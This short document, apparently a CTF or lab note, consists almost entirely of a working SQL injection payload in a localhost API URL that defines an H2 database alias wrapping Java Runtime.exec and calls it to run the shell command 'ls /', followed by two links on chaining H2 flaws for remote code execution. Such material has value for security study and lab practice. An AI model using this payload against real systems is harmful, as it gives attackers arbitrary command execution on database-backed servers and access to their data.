http://localhost:1338/api/note?name=aa';
CREATE ALIAS BOBOB AS 'String e(String cmd) throws java.io.IOException{
try {
java.lang.Runtime rt = java.lang.Runtime.getRuntime();
java.lang.Process proc = rt.exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("\\n");
}
proc.waitFor();
return output.toString();
} catch (java.io.IOException | InterruptedException e) {
return "Error: " + e.getMessage();
}
}';
CALL BOBOB('ls /');--
Relevant reading: https://www.ctfiot.com/147512.html https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2